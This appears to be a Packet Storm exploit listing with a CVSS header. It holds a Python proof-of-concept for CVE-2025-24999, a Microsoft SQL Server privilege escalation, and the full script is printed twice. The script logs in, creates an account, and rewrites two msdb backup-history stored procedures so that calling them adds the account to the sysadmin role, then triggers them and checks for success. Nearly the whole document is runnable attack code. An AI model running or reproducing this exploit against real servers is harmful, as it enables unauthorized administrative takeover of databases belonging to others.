8.8
/ 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Description
This Python script demonstrates a privilege escalation technique targeting Microsoft SQL Server, associated with CVE-2025-24999. The exploit abuses improper permission controls on system stored procedures in the msdb database to elevate a...
Basic Information
ID
PACKETSTORM:219769
Published
Apr 24, 2026 at 00:00
Affected Product
Affected Versions
==================================================================================================================================
| # Title : Microsoft SQL Server 2022/2025 Privilege Escalation via Stored Procedure Abuse Python Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.microsoft.com/fr-dz |
==================================================================================================================================
[+] Summary : This Python script demonstrates a privilege escalation technique targeting Microsoft SQL Server, associated with CVE-2025-24999.
The exploit abuses improper permission controls on system stored procedures in the msdb database to elevate a low-privileged account to SYSADMIN.
[+] POC :
#!/usr/bin/env python3
import pyodbc
import sys
import time
class SQLServerExploit:
def __init__(self, server, database='master', username=None, password=None, use_windows_auth=False):
self.server = server
self.database = database
self.conn = None
self.cursor = None
if not use_windows_auth and (not username or not password):
raise ValueError("Username and password required for SQL authentication")
if use_windows_auth:
self.conn_string = (
f'DRIVER={{ODBC Driver 17 for SQL Server}};'
f'SERVER={server};DATABASE={database};Trusted_Connection=yes;'
)
else:
self.conn_string = (
f'DRIVER={{ODBC Driver 17 for SQL Server}};'
f'SERVER={server};DATABASE={database};UID={username};PWD={password};'
)
def connect(self):
try:
self.conn = pyodbc.connect(self.conn_string, autocommit=True)
self.cursor = self.conn.cursor()
print(f"[+] Connected to {self.server}")
return True
except Exception as e:
print(f"[-] Connection failed: {e}")
return False
def execute_query(self, query, database=None):
if not self.cursor:
print("[-] No active database connection")
return False
try:
if database:
self.cursor.execute(f"USE [{database}]")
self.cursor.execute(query)
try:
return self.cursor.fetchall()
except pyodbc.ProgrammingError:
return []
except Exception as e:
print(f"[-] Query execution failed: {e}")
return False
def create_low_privilege_account(self, username, password):
queries = [
f"IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = '{username}') "
f"CREATE LOGIN [{username}] WITH PASSWORD = N'{password}', CHECK_POLICY = OFF",
f"ALTER SERVER ROLE [##MS_DatabaseManager##] ADD MEMBER [{username}]"
]
for query in queries:
result = self.execute_query(query)
if result is False:
return False
print(f"[+] Created low-privilege account: {username}")
return True
def exploit(self, target_username, target_password):
print(f"[*] Starting exploitation for user: {target_username}")
setup_queries = [
f"USE [msdb]",
f"IF NOT EXISTS (SELECT * FROM sys.database_principals WHERE name = '{target_username}') "
f"CREATE USER [{target_username}] FOR LOGIN [{target_username}]",
f"ALTER ROLE [SQLAgentOperatorRole] ADD MEMBER [{target_username}]"
]
for query in setup_queries:
if self.execute_query(query) is False:
print("[-] MSDB setup failed")
return False
print(f"[+] Configured MSDB for {target_username}")
exploit_code = f"""
ALTER PROCEDURE [dbo].[sp_delete_database_backuphistory]
@database_name sysname
AS
BEGIN
EXEC('ALTER SERVER ROLE [sysadmin] ADD MEMBER [{target_username}]')
END
"""
if self.execute_query(exploit_code, 'msdb') is False:
return False
exploit_code2 = f"""
ALTER PROCEDURE [dbo].[sp_delete_backuphistory]
@database_name sysname
AS
BEGIN
EXEC('ALTER SERVER ROLE [sysadmin] ADD MEMBER [{target_username}]')
END
"""
if self.execute_query(exploit_code2, 'msdb') is False:
return False
print("[+] Stored procedures modified")
trigger_queries = [
"IF DB_ID('temp_exploit_db') IS NULL CREATE DATABASE temp_exploit_db",
"EXEC msdb.dbo.sp_delete_database_backuphistory @database_name = N'temp_exploit_db'",
"DROP DATABASE temp_exploit_db"
]
for query in trigger_queries:
if self.execute_query(query) is False:
print(f"[-] Trigger failed: {query}")
return False
print("[+] Exploit triggered")
time.sleep(1)
result = self.execute_query(
f"SELECT IS_SRVROLEMEMBER('sysadmin', '{target_username}')"
)
if result and result[0][0] == 1:
print(f"[+] SUCCESS! {target_username} is SYSADMIN")
return True
print("[-] Exploit failed")
return False
def cleanup(self, username):
queries = [
f"DROP USER [{username}]",
f"DROP LOGIN [{username}]"
]
for query in queries:
try:
self.execute_query(query, 'msdb')
self.execute_query(query)
except Exception:
pass
print(f"[+] Cleanup completed")
def close(self):
try:
if self.cursor:
self.cursor.close()
except:
pass
try:
if self.conn:
self.conn.close()
except:
pass
def main():
print("=" * 60)
print("CVE-2025-24999 - SQL Server Privilege Escalation Exploit")
print("=" * 60)
server = input("Enter SQL Server address: ").strip()
use_auth = input("Use Windows authentication? (y/n): ").strip().lower()
try:
if use_auth == 'y':
exploit = SQLServerExploit(server, use_windows_auth=True)
else:
username = input("Enter SQL username (SYSADMIN): ").strip()
password = input("Enter password: ").strip()
exploit = SQLServerExploit(server, username=username, password=password)
except ValueError as e:
print(f"[-] {e}")
sys.exit(1)
if not exploit.connect():
sys.exit(1)
target_user = input("Target username (default exploit_user): ").strip() or "exploit_user"
target_pass = input("Password (default Exploit@123): ").strip() or "Exploit@123"
if exploit.create_low_privilege_account(target_user, target_pass):
if exploit.exploit(target_user, target_pass):
print(f"\n[+] Exploit completed")
print(f"[+] Credentials: {target_user}/{target_pass}")
if input("Cleanup? (y/n): ").lower() == 'y':
exploit.cleanup(target_user)
else:
print("[-] Exploit failed")
else:
print("[-] User creation failed")
exploit.close()
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================
| # Title : Microsoft SQL Server 2022/2025 Privilege Escalation via Stored Procedure Abuse Python Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.microsoft.com/fr-dz |
==================================================================================================================================
[+] Summary : This Python script demonstrates a privilege escalation technique targeting Microsoft SQL Server, associated with CVE-2025-24999.
The exploit abuses improper permission controls on system stored procedures in the msdb database to elevate a low-privileged account to SYSADMIN.
[+] POC :
#!/usr/bin/env python3
import pyodbc
import sys
import time
class SQLServerExploit:
def __init__(self, server, database='master', username=None, password=None, use_windows_auth=False):
self.server = server
self.database = database
self.conn = None
self.cursor = None
if not use_windows_auth and (not username or not password):
raise ValueError("Username and password required for SQL authentication")
if use_windows_auth:
self.conn_string = (
f'DRIVER={{ODBC Driver 17 for SQL Server}};'
f'SERVER={server};DATABASE={database};Trusted_Connection=yes;'
)
else:
self.conn_string = (
f'DRIVER={{ODBC Driver 17 for SQL Server}};'
f'SERVER={server};DATABASE={database};UID={username};PWD={password};'
)
def connect(self):
try:
self.conn = pyodbc.connect(self.conn_string, autocommit=True)
self.cursor = self.conn.cursor()
print(f"[+] Connected to {self.server}")
return True
except Exception as e:
print(f"[-] Connection failed: {e}")
return False
def execute_query(self, query, database=None):
if not self.cursor:
print("[-] No active database connection")
return False
try:
if database:
self.cursor.execute(f"USE [{database}]")
self.cursor.execute(query)
try:
return self.cursor.fetchall()
except pyodbc.ProgrammingError:
return []
except Exception as e:
print(f"[-] Query execution failed: {e}")
return False
def create_low_privilege_account(self, username, password):
queries = [
f"IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = '{username}') "
f"CREATE LOGIN [{username}] WITH PASSWORD = N'{password}', CHECK_POLICY = OFF",
f"ALTER SERVER ROLE [##MS_DatabaseManager##] ADD MEMBER [{username}]"
]
for query in queries:
result = self.execute_query(query)
if result is False:
return False
print(f"[+] Created low-privilege account: {username}")
return True
def exploit(self, target_username, target_password):
print(f"[*] Starting exploitation for user: {target_username}")
setup_queries = [
f"USE [msdb]",
f"IF NOT EXISTS (SELECT * FROM sys.database_principals WHERE name = '{target_username}') "
f"CREATE USER [{target_username}] FOR LOGIN [{target_username}]",
f"ALTER ROLE [SQLAgentOperatorRole] ADD MEMBER [{target_username}]"
]
for query in setup_queries:
if self.execute_query(query) is False:
print("[-] MSDB setup failed")
return False
print(f"[+] Configured MSDB for {target_username}")
exploit_code = f"""
ALTER PROCEDURE [dbo].[sp_delete_database_backuphistory]
@database_name sysname
AS
BEGIN
EXEC('ALTER SERVER ROLE [sysadmin] ADD MEMBER [{target_username}]')
END
"""
if self.execute_query(exploit_code, 'msdb') is False:
return False
exploit_code2 = f"""
ALTER PROCEDURE [dbo].[sp_delete_backuphistory]
@database_name sysname
AS
BEGIN
EXEC('ALTER SERVER ROLE [sysadmin] ADD MEMBER [{target_username}]')
END
"""
if self.execute_query(exploit_code2, 'msdb') is False:
return False
print("[+] Stored procedures modified")
trigger_queries = [
"IF DB_ID('temp_exploit_db') IS NULL CREATE DATABASE temp_exploit_db",
"EXEC msdb.dbo.sp_delete_database_backuphistory @database_name = N'temp_exploit_db'",
"DROP DATABASE temp_exploit_db"
]
for query in trigger_queries:
if self.execute_query(query) is False:
print(f"[-] Trigger failed: {query}")
return False
print("[+] Exploit triggered")
time.sleep(1)
result = self.execute_query(
f"SELECT IS_SRVROLEMEMBER('sysadmin', '{target_username}')"
)
if result and result[0][0] == 1:
print(f"[+] SUCCESS! {target_username} is SYSADMIN")
return True
print("[-] Exploit failed")
return False
def cleanup(self, username):
queries = [
f"DROP USER [{username}]",
f"DROP LOGIN [{username}]"
]
for query in queries:
try:
self.execute_query(query, 'msdb')
self.execute_query(query)
except Exception:
pass
print(f"[+] Cleanup completed")
def close(self):
try:
if self.cursor:
self.cursor.close()
except:
pass
try:
if self.conn:
self.conn.close()
except:
pass
def main():
print("=" * 60)
print("CVE-2025-24999 - SQL Server Privilege Escalation Exploit")
print("=" * 60)
server = input("Enter SQL Server address: ").strip()
use_auth = input("Use Windows authentication? (y/n): ").strip().lower()
try:
if use_auth == 'y':
exploit = SQLServerExploit(server, use_windows_auth=True)
else:
username = input("Enter SQL username (SYSADMIN): ").strip()
password = input("Enter password: ").strip()
exploit = SQLServerExploit(server, username=username, password=password)
except ValueError as e:
print(f"[-] {e}")
sys.exit(1)
if not exploit.connect():
sys.exit(1)
target_user = input("Target username (default exploit_user): ").strip() or "exploit_user"
target_pass = input("Password (default Exploit@123): ").strip() or "Exploit@123"
if exploit.create_low_privilege_account(target_user, target_pass):
if exploit.exploit(target_user, target_pass):
print(f"\n[+] Exploit completed")
print(f"[+] Credentials: {target_user}/{target_pass}")
if input("Cleanup? (y/n): ").lower() == 'y':
exploit.cleanup(target_user)
else:
print("[-] Exploit failed")
else:
print("[-] User creation failed")
exploit.close()
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================